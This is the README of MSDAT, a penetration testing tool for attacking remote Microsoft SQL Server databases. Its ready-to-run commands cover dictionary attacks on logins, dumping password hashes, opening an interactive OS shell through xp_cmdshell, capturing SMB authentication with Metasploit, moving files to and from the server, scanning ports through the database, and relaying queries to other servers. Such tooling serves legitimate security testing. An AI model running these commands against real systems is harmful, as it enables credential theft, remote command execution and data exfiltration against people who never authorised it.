Quentin HARDY
quentin.hardy@bt.com
quentin.hardy@protonmail.com

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) is an open source penetration testing tool that tests the security of Microsoft SQL Databases remotely.

Usage examples of MSDAT:

• You have a Microsoft database listening remotely and you want to find valid credentials in order to connect to the database
• You have a valid Microsoft SQL account on a database and you want to escalate your privileges
• You have a valid Microsoft SQL account and you want to execute commands on the operating system hosting this DB (xp_cmdshell)

Tested on Microsof SQL database 2008 and 2012.

Changelog

• Version 1.0 (2017/02/15) :
• first version realeased

Features

Thanks to MSDAT (Microsoft SQL Database Attacking Tool), you can:

• get technical information (ex: database version) of a MSSQL database without to be authenticated
• search MSSQL accounts with a dictionnary attack
• test each login as password (authentication required)
• get a windows shell on the database server with
  • xp_cmdshell
• download files remotely with:
  • OLE Automation
  • bulkinsert
  • openrowset
• upload files on the server with:
  • OLE Automation
  • openrowset
• capture a SMB authentication thanks to:
  • bulkinsert
  • openrowset
  • xp_dirtree
  • xp_fileexist
  • xp-getfiledetails
• steal MSSQL hashed password, on an any MSSQL version
• scan ports through the database:
  • openrowset
• execute SQL requests on a remote MSSQL server trough the database (target) with:
  • bulkinsert
  • openrowset
• list files/directories with:
  • xp_subdirs
  • xp_dirtree
• list drives/medias with:
  • xp_fixeddrives
  • xp_availablemedia
• create folder with:
  • xp_create_subdir

Installation

Some dependancies must be installed in order to run MSDAT.

In ubuntu:

sudo apt-get install freetds-dev 

or download freetds on http://www.freetds.org/

sudo pip install cython colorlog termcolor pymssql argparse
sudo pip install argcomplete && sudo activate-global-python-argcomplete

Add "use ntlmv2 = yes" in your freetds configuration file (ex: /etc/freetds/freetds.conf or /usr/local/etc/freetds.conf). Example:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Examples

Modules

• You can list all modules:

./msdat.py -h

• When you have chosen a module (example: all), you can use it and you can list all features and options of the module:

./msdat.py all -h

You can know if a specific module can be used on a MSSQL server thanks to the --test-module option. This options is implemented in each mdat module.

all module

The all module allows you to run all modules (depends on options that you have purchased).

python msdat.py all -s $SERVER

If you want:

• to use your own account file for the dictionnary attack
• try multiple passwords for a user without ask you
• to define your own timeout value

./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

In each module, you can define the charset to use with the --charset option.

mssqlinfo module

To get technical information about a remote MSSQL server without to be authenticated:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

This module uses TDS protocol and SQL browser Server to get information.

passwordguesser module

This module allows you to search valid credentials :

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

--force-retry option allows to test multiple passwords for each user without ask you

You can specify your own account file with the --accounts-file option:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer module

To dump hashed passwords :

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

This modules has been tested on SQL Server 2000, 2005, 2008 and 2014.

xpcmdshell module

To execute system commands thanks to xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

This previous command give you an interactive shell on the remote database server.

If xp_cmdshell is not enabled, the --enable-xpcmdshell can be used in this module to activate it:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

The --enable-xpcmdshell option enables xp_cmdshell if it is not enabled (not enabled by default).

The --disable-xpcmdshell option disables xp_cmdshell if this one is enabled.

smbauthcapture module

Thanks to this module, you can capture a SMB authentication:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

To capture the SMB authentication, the auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) module of metasploit could be used:

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

The capture command of this module tries to capture a SMB authentication thanks to xp_dirtree, xp_fileexist or xp-getfiledetails procedure.

If you want to choose the SMB authentication procedure to capture the authentication:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

You can change the SHARE name with the --share-name option.

oleautomation module

This module can be used to read/write file in the database server.

The following command read the file temp.txt stored in the database server:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

To write a string in a file (temp.txt) remotely:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

This module can be used to download a file (C:\Users\Administrator\Desktop\temp.txt) stored on the database server:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Also, you can use this module to upload a file (temp.txt) on the target:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

bulkopen module

The module bulkopen can be used :

• to read/download files stored on a database server
• to scan ports through the database server
• to execute SQL requests on a remote MSSQL server through the database

To read a file stored in the target, the following command can be used:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

The --method option can be used to specify the method to use:

• bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) or
• openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx)):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

To download a file (C:\Users\Administrator\Desktop\temp.txt):` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

You can scan a range of ports:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

This module can be used to execute SQL requests (ex: select @@ServerName) on a remote database server (ex: $SERVER2) through the database ($SERVER):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

xpdirectory module

The module xpdirectory can be used:

• to list:
• files
• directories
• drives
• to check if a file exists
• to create a directory

To list files in a specific directory:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

To list directories in a specific directory:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

To list drives:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

To check if a file exist:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

To create a directory:

./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

search module

The module search can be used to search a pattern in column names of tables and views. Usefull to search the pattern %password% in column names for example.

To get column names which contains password patterns (ex: passwd, password, motdepasse, clave):

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

If you want to see column names which doesn't contain a data, you should use the option --show-empty-columns.

To search a specific pattern in column names of views and tables:

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

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